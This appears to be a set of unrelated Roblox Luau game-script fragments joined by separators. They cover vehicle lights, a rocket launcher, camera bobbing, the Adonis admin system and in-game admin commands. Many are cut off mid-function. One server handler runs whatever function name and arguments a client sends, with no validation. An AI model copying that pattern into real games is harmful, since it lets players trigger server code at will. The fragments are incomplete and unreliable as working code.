elseif child.Name == "LN" then
child.Transparency = 0.02
end
end
else
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Brake:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
end
end
F.RearLights = function(state, fade_time, type)
if type == "Halogen" then
if state == 0 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
if plactive then
for idx, child in pairs(lights.Rear:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.7})
tw:Play()
end
end
elseif not plactive then
for idx, child in pairs(lights.Rear:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
end
elseif state == 1 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Rear:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 1.5, Range = 25})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.2})
tw:Play()
end
end
end
elseif type == "LED" then
if state == 0 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
if plactive then
for idx, child in pairs(lights.Rear:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 0.7
end
end
elseif not plactive then
for idx, child in pairs(lights.Rear:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
elseif state == 1 then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Rear:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 1.5
child.Range = 25
elseif child.Name == "LN" then
child.Transparency = 0.2
end
end
end
end
end
F.DashboardIndicators = function(headlights, indicators, parklights)
end
F.Reverse = function(state, fade_time, type)
if type == "Halogen" then
if state then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Reverse:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 1, Range = 20})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 0.03})
tw:Play()
end
end
else
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Reverse:GetDescendants()) do
if child:IsA("SpotLight") then
local tw = TweenService:Create(child, t, {Brightness = 0, Range = 0})
tw:Play()
elseif child.Name == "LN" then
local tw = TweenService:Create(child, t, {Transparency = 1})
tw:Play()
end
end
end
elseif type == "LED" then
if state then
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Reverse:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 1
child.Range = 20
elseif child.Name == "LN" then
child.Transparency = 0.03
end
end
else
local t = TweenInfo.new(fade_time, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
for idx, child in pairs(lights.Reverse:GetDescendants()) do
if child:IsA("SpotLight") then
child.Brightness = 0
child.Range = 0
elseif child.Name == "LN" then
child.Transparency = 1
end
end
end
end
end
F.IndsOnLeave = function(left, right, hazard, sequential, segs, fr, type)
event.IndicatorsAfterLeave.Disabled = false
wait()
leaveseatevent:Fire(left, right, hazard, sequential, segs, fr, type)
end
event.OnServerEvent:Connect(function(pl, Fnc, ...)
F[Fnc](...)
end)
|
-- Customized explosive effect that doesn't affect teammates and only breaks joints on dead parts
|
local TaggedHumanoids = {}
local function OnExplosionHit(hitPart, hitDistance, blastCenter)
if hitPart and hitDistance then
local character, humanoid = FindCharacterAncestor(hitPart.Parent)
if character then
local myPlayer = CreatorTag.Value
if myPlayer and not myPlayer.Neutral then -- Ignore friendlies caught in the blast
local player = PlayersService:GetPlayerFromCharacter(character)
if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then
return
end
end
end
if humanoid and humanoid.Health > 0 then -- Humanoids are tagged and damaged
if not IsInTable(TaggedHumanoids,humanoid) then
print("Tagged")
table.insert(TaggedHumanoids,humanoid)
ApplyTags(humanoid)
humanoid:TakeDamage(BLAST_DAMAGE)
end
else -- Loose parts and dead parts are blasted
if hitPart.Name ~= 'Handle' then
hitPart:BreakJoints()
local blastForce = Instance.new('BodyForce', hitPart) --NOTE: We will multiply by mass so bigger parts get blasted more
blastForce.Force = (hitPart.Position - blastCenter).unit * BLAST_FORCE * hitPart:GetMass()
DebrisService:AddItem(blastForce, 0.1)
end
end
end
end
local Isexplosion = false
local function OnTouched(otherParts)
for i,otherPart in ipairs(otherParts)do
if Rocket then
-- Fly through anything in the ignore list
if IGNORE_LIST[string.lower(otherPart.Name)] then
return
end
local myPlayer = CreatorTag.Value
if myPlayer then
-- Fly through the creator
if myPlayer.Character and myPlayer.Character:IsAncestorOf(otherPart) then
return
end
-- Fly through friendlies
if not myPlayer.Neutral then
local character = FindCharacterAncestor(otherPart.Parent)
local player = PlayersService:GetPlayerFromCharacter(character)
if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then
return
end
end
end
-- Fly through terrain water
if otherPart == workspace.Terrain then
--NOTE: If the rocket is large, then the simplifications made here will cause it to fly through terrain in some cases
local frontOfRocket = Rocket.Position + (Rocket.CFrame.lookVector * (Rocket.Size.Z / 2))
local cellLocation = workspace.Terrain:WorldToCellPreferSolid(frontOfRocket)
local cellMaterial = workspace.Terrain:GetCell(cellLocation.X, cellLocation.Y, cellLocation.Z)
if cellMaterial == Enum.CellMaterial.Water or cellMaterial == Enum.CellMaterial.Empty then
return
end
end
Isexplosion = true
-- Create the explosion
local explosion = Instance.new('Explosion')
explosion.BlastPressure = 0 -- Completely safe explosion
explosion.BlastRadius = BLAST_RADIUS
explosion.ExplosionType = Enum.ExplosionType.NoCraters
explosion.Position = Rocket.Position
explosion.Parent = workspace
-- Connect custom logic for the explosion
explosion.Hit:Connect(function(hitPart, hitDistance) OnExplosionHit(hitPart, hitDistance, explosion.Position) end)
-- Move this script and the creator tag (so our custom logic can execute), then destroy the rocket
script.Parent = explosion
CreatorTag.Parent = script
Rocket:Destroy()
end
end
end
|
--These are all donations that can be done. You must set this up with your own products to make money of it.
--To make a product you have to make a Developer Product in your game's settings page.
--You can make as many as you want, Once you made one, copy it's ID and past it in the 'ProductId' variable in this script.
--Change the 'ProductPrice' to what the Developer Product Costs.
|
local module = {}
module.Products = {
{
ProductPrice = 5, --The price from the Developer Product.
ProductId = 1234585054 -- The ID from the Developer Product.
},
{
ProductPrice = 10, --The price from the Developer Product.
ProductId = 1234585087 -- The ID from the Developer Product.
},
{
ProductPrice = 50, --The price from the Developer Product.
ProductId = 1234585114 -- The ID from the Developer Product.
},
{
ProductPrice = 100, --The price from the Developer Product.
ProductId = 1234585216 -- The ID from the Developer Product.
},
}
|
-- << Functions >> --
|
UserInputService.MouseIconEnabled = false
function lerp(a, b, c)
return a + (b - a) * c
end
bobbing = game:GetService("RunService").RenderStepped:Connect(function(deltaTime)
deltaTime = deltaTime * 60
if Humanoid.Health <= 0 then
bobbing:Disconnect()
return
end
local rootMagnitude = Humanoid.RootPart and Vector3.new(Humanoid.RootPart.Velocity.X, 0, Humanoid.RootPart.Velocity.Z).Magnitude or 0
local calcRootMagnitude = math.min(rootMagnitude, 50)
if deltaTime > 3 then
func1 = 0
func2 = 0
else
func1 = lerp(func1, math.cos(tick() * 0.5 * math.random(10, 15)) * (math.random(5, 20) / 200) * deltaTime, 0.05 * deltaTime)
func2 = lerp(func2, math.cos(tick() * 0.5 * math.random(5, 10)) * (math.random(2, 10) / 200) * deltaTime, 0.05 * deltaTime)
end
Camera.CFrame = Camera.CFrame * (CFrame.fromEulerAnglesXYZ(0, 0, math.rad(func3)) * CFrame.fromEulerAnglesXYZ(math.rad(func4 * deltaTime), math.rad(val * deltaTime), val2) * CFrame.Angles(0, 0, math.rad(func4 * deltaTime * (calcRootMagnitude / 5))) * CFrame.fromEulerAnglesXYZ(math.rad(func1), math.rad(func2), math.rad(func2 * 10)))
val2 = math.clamp(lerp(val2, -Camera.CFrame:VectorToObjectSpace((Humanoid.RootPart and Humanoid.RootPart.Velocity or Vector3.new()) / math.max(Humanoid.WalkSpeed, 0.01)).X * 0.08, 0.1 * deltaTime), -0.35, 0.2)
func3 = lerp(func3, math.clamp(UserInputService:GetMouseDelta().X, -5, 5), 0.25 * deltaTime)
func4 = lerp(func4, math.sin(tick() * int) / 5 * math.min(1, int2 / 10), 0.25 * deltaTime)
if rootMagnitude > 1 then
val = lerp(val, math.cos(tick() * 0.5 * math.floor(int)) * (int / 200), 0.25 * deltaTime)
else
val = lerp(val, 0, 0.05 * deltaTime)
end
if rootMagnitude > 12 then
int = 20
int2 = 18
elseif rootMagnitude > 0.1 then
int = 12
int2 = 14
else
int2 = 0
end
Player.CameraMaxZoomDistance = 0.5
Player.CameraMinZoomDistance = 0.5
vect3 = lerp(vect3, Camera.CFrame.LookVector, 0.125 * deltaTime)
end)
|
-- UI elements
|
local intro = script.Parent:WaitForChild("Intro")
intro.Visible = true
wait(2)
game.Workspace.Camera.CameraType = Enum.CameraType.Scriptable
game.Workspace.Camera.CFrame = CFrame.new(game.Workspace.IntroTunnel.CameraOrigin.Position,game.Workspace.IntroTunnel.CameraFace.Position)
local topStatus = script.Parent:WaitForChild("TopStatus")
topStatus.Text = status.Value
status:GetPropertyChangedSignal("Value"):Connect(function()
topStatus.Text = status.Value
end)
intro.Play.MouseButton1Click:Connect(function()
if game.ReplicatedStorage.MapVoting.Value == true then
script.Parent.MapVoting.Visible = true
end
intro.Visible = false
topStatus.Visible = true
game.ReplicatedStorage.MenuPlay:FireServer()
game.Workspace.Camera.CameraType = Enum.CameraType.Custom
end)
game.ReplicatedStorage.KillFeed.OnClientEvent:Connect(function(text)
script.Parent.KillFeed.Visible = true
script.Parent.KillFeed.Text = text
wait(2)
script.Parent.KillFeed.Visible = false
end)
game.ReplicatedStorage.Announcement.OnClientEvent:Connect(function(text)
script.Parent.Announcement.Text = text
script.Parent.Announcement.Visible = true
wait(5)
script.Parent.Announcement.Visible = false
end)
|
-----------------
--| Functions |--
-----------------
|
local function OnActivated()
local myModel = MyPlayer.Character
if Tool.Enabled and myModel and myModel:FindFirstChild('Humanoid') and myModel.Humanoid.Health > 0 then
Tool.Enabled = false
-- Create a clone of Rocket and set its color
local rocketClone = Rocket:Clone()
DebrisService:AddItem(rocketClone, 30)
rocketClone.BrickColor = MyPlayer.TeamColor
-- Position the rocket clone and launch!
local spawnPosition = (ToolHandle.CFrame * CFrame.new(2, 0, 0)).p
rocketClone.CFrame = CFrame.new(spawnPosition, myModel.Humanoid.TargetPoint) --NOTE: This must be done before assigning Parent
rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent
rocketClone.Parent = Workspace
wait(RELOAD_TIME)
Tool.Enabled = true
end
end
|
--Gear Ratios
|
Tune.FinalDrive = 2.78 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 2.34 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
--[[ 7 ]] 0.48 ,
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Get references to the DockShelf and its children
|
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.FTerminal
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
|
-- FUNCTIONS --
|
CS:GetInstanceAddedSignal("OnFire"):Connect(function(Character)
local Humanoid = Character:WaitForChild("Humanoid")
Replicate:FireAllClients("Burn", Character, true)
coroutine.wrap(function()
repeat
Humanoid:TakeDamage(math.random(4, 12))
task.wait(1)
until not CS:HasTag(Character, "OnFire")
end)()
end)
CS:GetInstanceRemovedSignal("OnFire"):Connect(function(Character)
Replicate:FireAllClients("Burn", Character, false)
end)
|
--// Core
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local _G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =
_G, game, script, getfenv, setfenv, workspace,
getmetatable, setmetatable, loadstring, coroutine,
rawequal, typeof, print, math, warn, error, pcall,
xpcall, select, rawset, rawget, ipairs, pairs,
next, Rect, Axes, os, time, Faces, unpack, string, Color3,
newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,
NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,
NumberSequenceKeypoint, PhysicalProperties, Region3int16,
Vector3int16, require, table, type, wait,
Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay
local script = script
local service = Vargs.Service
local client = Vargs.Client
local Anti, Core, Functions, Process, Remote, UI, Variables
local function Init()
UI = client.UI;
Anti = client.Anti;
Core = client.Core;
Variables = client.Variables
Functions = client.Functions;
Process = client.Process;
Remote = client.Remote;
Core.Name = "\0"
Core.Special = client.DepsName
Core.MakeGui = UI.Make;
Core.GetGui = UI.Get;
Core.RemoveGui = UI.Remove;
Core.Init = nil;
end
local function RunAfterPlugins(data)
Core.GetEvent()
Core.RunAfterPlugins = nil;
end
local function RunLast()
--// API
if service.NetworkClient then
service.TrackTask("Thread: API Manager", Core.StartAPI)
--service.Threads.RunTask("_G API Manager",client.Core.StartAPI)
end
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunLast = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
Core.RunLast = nil
end
getfenv().client = nil
getfenv().service = nil
getfenv().script = nil
client.Core = {
Init = Init;
RunLast = RunLast;
--RunAfterLoaded = RunAfterLoaded;
RunAfterPlugins = RunAfterPlugins;
Name = script.Name;
Special = script.Name;
ScriptCache = {};
GetEvent = function()
if Core.RemoteEvent then
log("Disconnect old RemoteEvent")
for name,event in Core.RemoteEvent.Events do
event:Disconnect()
end
Core.RemoteEvent = nil;
end
log("Getting RemoteEvent");
local eventData = {}
local remoteParent = service.ReplicatedStorage;
local event = remoteParent:WaitForChild(client.RemoteName, 300)
if not event then
Anti.Detected("Kick", "RemoteEvent Not Found");
else
log("Getting RemoteFunction");
local rFunc = event:WaitForChild("__FUNCTION", 120);
if not rFunc then
Anti.Detected("Kick", "RemoteFunction Not Found");
else
local events = {};
rFunc.OnClientInvoke = Process.Remote;
eventData.Object = event;
eventData.Function = rFunc;
eventData.FireServer = event.FireServer;
eventData.Events = events;
events.ProcessRemote = event.OnClientEvent:Connect(Process.Remote)
events.ParentChildRemoved = remoteParent.ChildRemoved:Connect(function(child)
if (Core.RemoteEvent == eventData) and child == event and task.wait() then
warn("::ADONIS:: REMOTE EVENT REMOVED? RE-GRABBING");
log("~! REMOTEEVENT WAS REMOVED?")
Core.GetEvent();
end
end)
Core.RemoteEvent = eventData
if not Core.Key then
log("~! Getting key from server")
Remote.Fire(`{client.DepsName}GET_KEY`)
end
end
end
end;
LoadPlugin = function(plugin)
local plug = require(plugin)
local func = setfenv(plug,GetEnv(getfenv(plug)))
cPcall(func)
end;
LoadBytecode = function(str, env)
return require(client.Shared.FiOne)(str, env)
end;
LoadCode = function(str, env)
return Core.LoadBytecode(str, env)
end;
StartAPI = function()
local ScriptCache = Core.ScriptCache
local FiOne = client.Shared.FiOne
local Get = Remote.Get
local GetFire = Remote.GetFire
local G_API = client.G_API
local Allowed_API_Calls = client.Allowed_API_Calls
local NewProxy = service.NewProxy
local MetaFunc = service.MetaFunc
local ReadOnly = service.ReadOnly
local StartLoop = service.StartLoop
local ReadOnly = service.ReadOnly
local UnWrap = service.UnWrap
local service = nil
local client = nil
local _G = _G
local setmetatable = setmetatable
local type = type
local print = print
local error = error
local pairs = pairs
local warn = warn
local next = next
local table = table
local rawset = rawset
local rawget = rawget
local getfenv = getfenv
local setfenv = setfenv
local require = require
local tostring = tostring
local client = client
local Routine = Routine
local cPcall = cPcall
--// Get Settings
local API_Special = {
}
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
local API_Specific = {
API_Specific = {
Test = function()
print("We ran the api specific stuff")
end
};
Service = service;
}
local API = {
Access = ReadOnly({}, nil, nil, true);
--[[
Access = service.MetaFunc(function(...)
local args = {...}
local key = args[1]
local ind = args[2]
local targ
setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())}))
if API_Specific[ind] then
targ = API_Specific[ind]
elseif client[ind] and client.Allowed_API_Calls[ind] then
targ = client[ind]
end
if client.G_Access and key == client.G_Access_Key and targ and client.Allowed_API_Calls[ind] then
if type(targ) == "table" then
return service.NewProxy {
__index = function(tab,inde)
if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then
if targ[inde]~=nil and type(targ[inde]) == "table" and client.G_Access_Perms == "Read" then
return service.ReadOnly(targ[inde])
else
return targ[inde]
end
elseif API_Special[inde] == false then
error(`Access Denied: {inde}`)
else
error(`Could not find {inde}`)
end
end;
__newindex = function(tabl,inde,valu)
error("Read-only")
end;
__metatable = true;
}
end
else
error("Incorrect key or G_Access is disabled")
end
end);
--]]
Scripts = ReadOnly({
ExecutePermission = (function(srcScript, code)
local exists;
for i,v in ScriptCache do
if UnWrap(v.Script) == srcScript then
exists = v
end
end
if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then
exists.Executions = exists.Executions+1
return exists.Source, exists.Loadstring
end
local data = Get("ExecutePermission", srcScript, code, true)
if data and data.Source then
local module;
if not exists then
module = require(FiOne:Clone())
table.insert(ScriptCache,{
Script = srcScript;
Source = data.Source;
Loadstring = module;
noCache = data.noCache;
runLimit = data.runLimit;
Executions = data.Executions;
})
else
module = exists.Loadstring
exists.Source = data.Source
end
return data.Source, module
end
end);
}, nil, nil, true);
}
local AdonisGTable = NewProxy({
__index = function(tab,ind)
if ind == "Scripts" then
return API.Scripts
elseif G_API and Allowed_API_Calls.Client == true then
if type(API[ind]) == "function" then
return MetaFunc(API[ind])
else
return API[ind]
end
else
error("_G API is disabled")
end
end;
__newindex = function()
error("Read-only")
end;
__metatable = "API";
})
if not rawget(_G, "Adonis") then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
StartLoop("APICheck", 1, function()
if rawget(_G, "Adonis") ~= AdonisGTable then
if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then
rawset(_G, "Adonis", AdonisGTable)
else
warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!")
end
end
end, true)
else
warn("The _G table was locked and the Adonis _G API could not be loaded")
end
end
end;
};
end
|
----Handle the enabling and disabling of the default roblox jump button----
|
local function getLocalHumanoid()
if LocalPlayer.Character then
return LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
end
end
local oldHumanoidJumpPower = 50
local jumpDisabled = false
local function enableJumpButton()
local humanoid = getLocalHumanoid()
if jumpDisabled and humanoid then
humanoid.JumpPower = oldHumanoidJumpPower
jumpDisabled = false
end
end
local function disableJumpButton()
local humanoid = getLocalHumanoid()
if humanoid then
oldHumanoidJumpPower = humanoid.JumpPower
humanoid.JumpPower = 0
jumpDisabled = true
end
end
function VehicleGui:Enable()
self.gui.Enabled = true
self:EnableKeyboardUI()
self:ConfigureButtons()
local function UpdateInputType(inputType)
if inputType == Enum.UserInputType.Touch then
self:EnableTouchUI()
self:ConfigureButtons()
elseif inputType.Value >= Enum.UserInputType.Gamepad1.Value and
inputType.Value <= Enum.UserInputType.Gamepad8.Value then
self:EnableGamepadUI()
self:ConfigureButtons()
elseif inputType == Enum.UserInputType.Keyboard then
self:EnableKeyboardUI()
self:ConfigureButtons()
end
end
self.connections[#self.connections + 1] = UserInputService.LastInputTypeChanged:Connect(UpdateInputType)
UpdateInputType(UserInputService:GetLastInputType())
--Destroy when player gets out of vehicle
function self.OnExit(Seat)
self:Destroy()
end
self.localSeatModule.OnSeatExitEvent(self.OnExit)
--Destroy if the gui has been destroyed
self.connections[#self.connections + 1] = self.gui.AncestryChanged:Connect(function()
if not self.gui:IsDescendantOf(game) then
self:Destroy()
end
end)
--Destroy if vehicle is no longer in workspace
self.connections[#self.connections + 1] = self.chassis.AncestryChanged:Connect(function()
if not self.chassis:IsDescendantOf(Workspace) then
self:Destroy()
end
end)
--Connect the exit seat button
self.connections[#self.connections + 1] = self.exitButton.Activated:Connect(function()
enableJumpButton()
self:Destroy()
self.localSeatModule.ExitSeat()
end)
self.connections[#self.connections + 1] = self.exitButton.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.Touch then
self.exitButton.ImageTransparency = 1
self.exitButton.Pressed.ImageTransparency = 0
end
end)
self.connections[#self.connections + 1] = self.exitButton.InputEnded:Connect(function(input)
if input.UserInputType == Enum.UserInputType.Touch then
self.exitButton.ImageTransparency = 0
self.exitButton.Pressed.ImageTransparency = 1
end
end)
self.connections[#self.connections + 1] = RunService.RenderStepped:Connect(function()
--Update the speedo
local vel = self.seat.Velocity
local mphConversion = 0.6263 -- using a 28cm = 1stud conversion rate
local speed = vel.Magnitude*mphConversion
local speedFraction = math.min(speed/MAX_SPEED, 1)
local onSize = math.floor(self.speedoFrame.AbsoluteSize.X * speedFraction + 0.5)
self.speedoFrameOn.Size = UDim2.new(0, onSize, 1, 0)
self.speedText.Text = tostring(math.floor(speed + 0.5))
--Update the steering input if touch controls are enabled
if self.touchEnabled then
self.steeringInput = -PlayerControlModule:GetMoveVector().X
end
end)
end
function VehicleGui:Destroy()
self.localSeatModule.DisconnectFromSeatExitEvent(self.OnExit)
for _, connection in ipairs(self.connections) do
connection:Disconnect()
end
if self.gui then
self.gui:Destroy()
end
enableJumpButton()
end
function VehicleGui:ConfigureButtons()
--Position Accelerate Button
self.accelButton.Image = "rbxassetid://2847847852"
self.accelButton.Pressed.Image = "rbxassetid://2847847961"
self.accelButton.Size = UDim2.new(0, 70, 0, 70)
self.accelButton.AnchorPoint = Vector2.new(1, 1)
self.accelButton.Position = UDim2.new(1, -24, 1, -20)
--Position Brake Button
self.brakeButton.Size = UDim2.new(0, 44, 0, 44)
self.brakeButton.AnchorPoint = Vector2.new(1, 1)
self.brakeButton.Position = UDim2.new(1, -(24 + self.accelButton.Size.X.Offset + 20), 1, -20)
self.brakeButton.Image = "rbxassetid://2847848304"
self.brakeButton.Pressed.Image = "rbxassetid://2847848400"
--Position Exit Button
self.exitButton.Image = "rbxassetid://2847857948"
self.exitButton.Pressed.Image = "rbxassetid://2847858038"
self.exitButton.KeyImage.ImageRectSize = Vector2.new(0, 0)
self.exitButton.KeyImage.ImageRectOffset = Vector2.new(0, 0)
self.exitButton.KeyImage.ButtonText.Visible = false
local inputType = UserInputService:GetLastInputType()
if inputType == Enum.UserInputType.Touch then
self.exitButton.Size = UDim2.new(0, 44, 0, 44)
self.exitButton.AnchorPoint = Vector2.new(1, 1)
self.exitButton.Position = UDim2.new(1, -24, 1, -(20 + self.accelButton.Size.Y.Offset + 20))
self.exitButton.KeyImage.Image = ""
else
self.exitButton.Size = UDim2.new(0, 72, 0, 72)
self.exitButton.AnchorPoint = Vector2.new(1, 1)
self.exitButton.Position = UDim2.new(1, -24, 1, -(20 + self.accelButton.Size.Y.Offset + 20))
if inputType.Value >= Enum.UserInputType.Gamepad1.Value and
inputType.Value <= Enum.UserInputType.Gamepad8.Value then
--Set the correct image for the gamepad button prompt
local template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, "Light")
self.exitButton.KeyImage.Image = template.Image
self.exitButton.KeyImage.ImageRectOffset = template.ImageRectOffset
self.exitButton.KeyImage.ImageRectSize = template.ImageRectSize
else
self.exitButton.KeyImage.Image = "rbxassetid://2935912536"
self.exitButton.KeyImage.ButtonText.Visible = true
self.exitButton.KeyImage.ButtonText.Text = Keymap.EnterVehicleKeyboard.Name
end
end
end
|
--[[
Commands:
/kick
/explode
/trip
/visible
/invisible
]]
|
admin.kick = {
["Command"] = "Kick",
["Place"] = 1,
["Function"] = function(arguments)
local players = {}
for i, playerName in pairs(arguments) do
local player = findPlayer(playerName)
if player then
disconnect(player)
end
end
end
}
admin.explode = {
["Command"] = "Explode",
["Place"] = 2,
["Function"] = function(arguments)
for i, playerName in pairs(arguments) do
local player = findPlayer(playerName)
if player then
explode(player)
end
end
end
}
admin.trip = {
["Command"] = "Trip",
["Place"] = 3,
["Function"] = function(arguments)
for i, playerName in pairs(arguments) do
local player = findPlayer(playerName)
if player then
local humanoid = player.Character:FindFirstChild("Humanoid")
if not humanoid then
return
end
humanoid.PlatformStand = true
task.wait(1.5)
humanoid.PlatformStand = false
end
end
end
}
admin.visible = {
["Command"] = "Visible",
["Place"] = 4,
["Function"] = function(arguments)
for i, playerName in pairs(arguments) do
local player = findPlayer(playerName)
if player then
local character = player.Character or player.CharacterAdded:Wait()
for i, v in pairs(character:GetDescendants()) do
if v:IsA("Part") or v:IsA("BasePart") or v:IsA("MeshPart") then
v.Transparency = 0
end
end
character.HumanoidRootPart.Transparency = 1
character.HitBox.Transparency = 1
end
end
end
}
admin.invisible = {
["Command"] = "Invisible",
["Place"] = 5,
["Function"] = function(arguments)
for i, playerName in pairs(arguments) do
local player = findPlayer(playerName)
if player then
local character = player.Character or player.CharacterAdded:Wait()
for i, v in pairs(character:GetDescendants()) do
if v:IsA("Part") or v:IsA("BasePart") then
v.Transparency = 1
end
end
character.HumanoidRootPart.Transparency = 1
character.HitBox.Transparency = 1
end
end
end
}
return admin
|
-- enter numbers you think are correct. the percentages will be automatically calculated
|
dropRates.Carpenter = 1
dropRates.DoublePoints = 1
dropRates.Instakill = 1
dropRates.MaxAmmo = 1
dropRates.Nuke = 1
return dropRates
|
-- Determine whether we're in tool or plugin mode
|
ToolMode = (Tool.Parent:IsA 'Plugin') and 'Plugin' or 'Tool'
local IsHttpServiceEnabled = nil
|
--// WIP
|
local function LoadPackage(package, folder, runNow)
--// runNow - Run immediately after unpacking (default behavior is to just unpack (((only needed if loading after startup))))
--// runNow currently not used (limitations) so all packages must be present at server startup
local function unpackFolder(curFolder, unpackInto)
if unpackInto then
for _, obj in ipairs(curFolder:GetChildren()) do
local clone = obj:Clone()
if obj:IsA("Folder") then
local realFolder = unpackInto:FindFirstChild(obj.Name)
if not realFolder then
clone.Parent = unpackInto
else
unpackFolder(obj, realFolder)
end
else
clone.Parent = unpackInto
end
end
else
warn("Missing parent to unpack into for ".. tostring(curFolder))
end
end
unpackFolder(package, folder)
end;
local function CleanUp()
--local env = getfenv(2)
--local ran,ret = pcall(function() return env.script:GetFullName() end)
warn("Beginning Adonis cleanup & shutdown process...")
--warn("CleanUp called from "..tostring((ran and ret) or "Unknown"))
--local loader = server.Core.ClientLoader
server.Model.Name = "Adonis_Loader"
server.Model.Parent = service.ServerScriptService
server.Running = false
pcall(service.Threads.StopAll)
pcall(function()
for i, v in pairs(RbxEvents) do
print("Disconnecting event")
v:Disconnect()
table.remove(RbxEvents, i)
end
end)
--loader.Archivable = false
--loader.Disabled = true
--loader:Destroy()
if server.Core and server.Core.RemoteEvent then
pcall(server.Core.DisconnectEvent)
end
--[[delay(0, function()
for i,v in next,server do
server[i] = nil; --// Try to break it to prevent any potential hanging issues; Not very graceful...
end
--end)--]]
warn("Unloading complete")
end;
server = {
Running = true;
Modules = {};
Pcall = Pcall;
cPcall = cPcall;
Routine = Routine;
LogError = logError;
ErrorLogs = ErrorLogs;
ServerStartTime = os.time();
CommandCache = {};
};
locals = {
server = server;
CodeName = "";
Settings = server.Settings;
HookedEvents = HookedEvents;
ErrorLogs = ErrorLogs;
logError = logError;
origEnv = origEnv;
Routine = Routine;
Folder = Folder;
GetEnv = GetEnv;
cPcall = cPcall;
Pcall = Pcall;
};
